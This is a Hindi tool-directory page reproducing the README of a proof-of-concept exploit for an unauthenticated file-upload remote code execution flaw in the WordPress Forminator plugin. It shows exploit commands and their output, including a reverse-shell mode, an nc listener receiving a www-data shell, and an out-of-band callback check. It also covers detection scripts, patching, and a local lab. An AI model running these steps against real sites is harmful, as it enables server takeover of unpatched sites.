Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-4596 — PoC Script for CVE-2023-4596, unauthenticated Remote Command Execution through arbitrary file uploads. | Kitploit
उपकरण/GitHubGitHub/e1a/cve-2023-4596
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHube1a/cve-2023-4596

CVE-2023-4596

PoC Script for CVE-2023-4596, unauthenticated Remote Command Execution through arbitrary file uploads.

रिपॉजिटरी देखें
24511 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-4596

CVE-2023-4596 के लिए PoC स्क्रिप्ट, अनधिकृत रिमोट कमांड निष्पादन (Remote Command Execution) मनमानी फ़ाइल अपलोड के माध्यम से।

PoC के उपयोग का वीडियो
Nuclei टेम्पलेट
समाचार लेख
WordFence
NVD Nist

सारांश

वर्डप्रेस प्लगइन Forminator में एक गंभीर कमजोरी पाई गई है, जो एक अनधिकृत हमलावर को सर्वर पर मनमानी फ़ाइलें अपलोड करने में सक्षम बनाती है। प्रारंभिक प्रूफ ऑफ कॉन्सेप्ट (PoC) खराब तरीके से लिखा गया था, मूल शोधकर्ता ने कुछ अस्पष्ट स्क्रीनशॉट और एक अनिर्दिष्ट कोड वाले अनुरोध को साझा किया था। इसलिए मैंने प्रक्रिया को सरल और स्वचालित करने के लिए एक पायथन स्क्रिप्ट लिखी।

यह कमजोरी फ़ाइल प्रकारों के सत्यापन प्रक्रिया में एक त्रुटि के कारण होती है। जब PHP जैसे प्रतिबंधित फ़ाइल स्वरूप को अपलोड करने का प्रयास किया जाता है, तो एक चेतावनी उत्पन्न होती है जिसमें कहा जाता है कि "अपलोड की गई फ़ाइल का एक्सटेंशन अनुमत नहीं है।" इस सूचना के बावजूद, अपलोड की गई फ़ाइल अवरुद्ध नहीं होती, बल्कि सफलतापूर्वक अपलोड हो जाती है और साइट के "/wp-content/uploads" फ़ोल्डर के भीतर एक्सेस की जा सकती है। यह कमजोरी रिमोट कोड निष्पादन (Remote Code Execution) का कारण बन सकती है।

Forminator वर्तमान में 400,000 से अधिक साइटों पर सक्रिय है, और कमजोरी की सरलता के साथ, फ़ाइल अपलोड सक्षम के साथ Forminator चलाने वाली किसी भी साइट पर नियंत्रण प्राप्त करना काफी आसान है।

उपयोग

Forminator <= 1.24.6 चलाने वाला एक पेज ढूंढें जिसमें अपलोड फ़ंक्शन हो। उस पेज का पूरा URL कॉपी करें जो Forminator का उपयोग करके फ़ाइल अपलोड पोस्टडेटा चला रहा है, यदि केवल डोमेन निर्दिष्ट किया गया है तो यह एक त्रुटि उत्पन्न करेगा। आप interactsh या Burp Collaborator का उपयोग करके एक लिंक उत्पन्न कर सकते हैं, जिसे आप चयनित फ़ील्ड में पेस्ट कर सकते हैं। सफल अपलोड के बाद, interactsh या burp में 5 सेकंड के भीतर एक अनुरोध दिखाई देना चाहिए, जो दर्शाता है कि यह कमजोर है।


यह सत्यापित करना कि कोई उदाहरण बिना कोई नुकसान पहुंचाए कमजोर है

root@kitploit:~
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


Input out-of-band link: <input link>

[+] Sending payload to target
[+] Successful file upload!

Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php

[+] Sending request to uploaded file...
[+] Successfully triggered the uploaded file!
[+] Check for an incoming request

यह जांचने के लिए कि क्या उदाहरण कमजोर है, संस्करण निकालना

root@kitploit:~
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


[+] Vulnerable version found: 1.24.6

उदाहरण पर रिवर्स शेल शुरू करना

root@kitploit:~
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


Enter IP address: <input IP>
Enter port: <input port>

[+] Sending payload to target
[+] Successful file upload!

Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php

[+] Sending request to uploaded file...
[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell



user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

स्क्रिप्ट कैसे काम करती है?

स्क्रिप्ट को केवल एक पूर्ण URL की आवश्यकता है जो एक ऐसे पेज का है जो फ़ाइल अपलोड सक्षम के साथ Forminator का उपयोग कर रहा है, और यह निर्धारित करने के लिए एक interactsh लिंक कि क्या उदाहरण कमजोर है। पहला अनुरोध पेज पर भेजा जाता है ताकि forminator_nonce और form_id निकाले जा सकें, जो प्रत्येक पेज के लिए अलग-अलग मान हैं। इन मानों को प्राप्त करने के बाद, दूसरा अनुरोध भेजा जाता है जो इन निकाले गए मानों का उपयोग करता है, और PHP फ़ाइल अपलोड की जाती है। यह PHP फ़ाइल उपयोगकर्ता द्वारा पहले प्रदान किए गए interactsh लिंक का उपयोग करती है और इसे स्क्रिप्ट में जोड़ती है। जब उस पेज पर जाया जाता है जहां PHP स्क्रिप्ट स्थित है, तो interactsh में एक अनुरोध दिखाई देगा जो दर्शाता है कि साइट कमजोर है। Regex का उपयोग URL को भागों में विभाजित करने के लिए किया जाता है जो बाद में अनुरोध में उपयोग किए जाते हैं, इसका उपयोग -v तर्क का उपयोग करते समय मुद्रित होने वाले Forminator के संस्करण को निर्धारित करने के लिए भी किया जाता है। फ़ाइल अपलोड होने का स्थान इस बात पर निर्भर करता है कि आप फ़ाइल किस वर्ष और महीने में अपलोड करते हैं। इसलिए मैंने datetime का उपयोग वर्तमान महीने और वर्ष को निर्धारित करने के लिए किया, जिसका उपयोग बाद में अपलोड की गई फ़ाइल के स्थान पर अनुरोध भेजने के लिए भी किया जाता है। कमजोरी का परीक्षण करते समय, मैं एक ही फ़ाइलनाम का उपयोग कर रहा था, लेकिन कई फ़ाइलें भेजने के बाद, मैंने देखा कि केवल पहली अपलोड की गई फ़ाइल शुरू होती है। इसे ठीक करने के लिए, प्रत्येक अनुरोध के लिए एक यादृच्छिक स्ट्रिंग का उपयोग किया जाता है।

ज्ञात त्रुटियाँ

[-] Could not extract forminator_nonce
यह एक्सप्लॉइट तभी काम करता है जब उस सटीक पेज का लिंक प्रदान किया जाता है जहां Forminator के साथ फ़ाइल अपलोड सक्षम है। जब केवल डोमेन या ऐसे पेज का लिंक प्रदान किया जाता है जो फ़ाइल अपलोड नहीं चला रहा है, तो यह एक त्रुटि उत्पन्न करता है। इसका कारण यह है कि यह प्रदान किए गए URL से forminator_nonce निकालता है और यदि यह पेज Forminator या Forminator फ़ाइल अपलोड नहीं चला रहा है, तो यह मान नहीं पा सकता और इसका उपयोग नहीं कर सकता। आप साइट के स्रोत कोड में स्ट्रिंग "forminator-field-post-image-postdata" खोजकर भी जांच सकते हैं। एक पूर्ण लिंक, उदाहरण के लिए, इस तरह दिखता है: http://127.0.0.1:8000/?p=7. आप पूरी समस्या यहाँ पा सकते हैं।

कैसे जांचें कि क्या आपसे समझौता हुआ है

मैंने रिपॉजिटरी में दो फ़ाइलें (checker.sh और checker.bat) शामिल की हैं जो वर्तमान फ़ोल्डर और उपफ़ोल्डरों में किसी भी फ़ाइल को अवरुद्ध एक्सटेंशन के साथ जांचती हैं। जब ये पाई जाती हैं, तो उन्हें प्रदर्शित किया जाएगा। इस स्क्रिप्ट का कारण यह है कि प्लगइन स्थापित होने के प्रत्येक महीने के लिए एक नया फ़ोल्डर बनाया जाता है, जिससे मैन्युअल रूप से सभी की जांच करना काफी काम का हो सकता है।

उपचार (Mitigation)

नवीनतम संस्करण में अपडेट करें

स्थापना (Installation)

  1. cd CVE-2023-4596/ && docker-compose up -d
  2. http://127.0.0.1:8000 पर ब्राउज़ करें
  3. एक wp खाता सेट करें और यहाँ पाया गया कमजोर प्लगइन डाउनलोड करें
  4. पोस्टडेटा या फ़ाइल अपलोड के साथ एक फ़ॉर्म बनाएं और इसे एक पोस्ट पर प्रकाशित करें
  5. कमांड में पूरा URL पेस्ट करें और इसे चलाएं।
  6. आनंद लें ( /・・)ノ

अस्वीकरण (Disclaimer)

प्रदान की गई स्क्रिप्ट केवल शैक्षिक उद्देश्यों के लिए है, मैं आपके कार्यों के लिए जिम्मेदार नहीं हूं।


Twitter
Finn van der Knaap द्वारा निर्मित

टूल डाउनलोड करें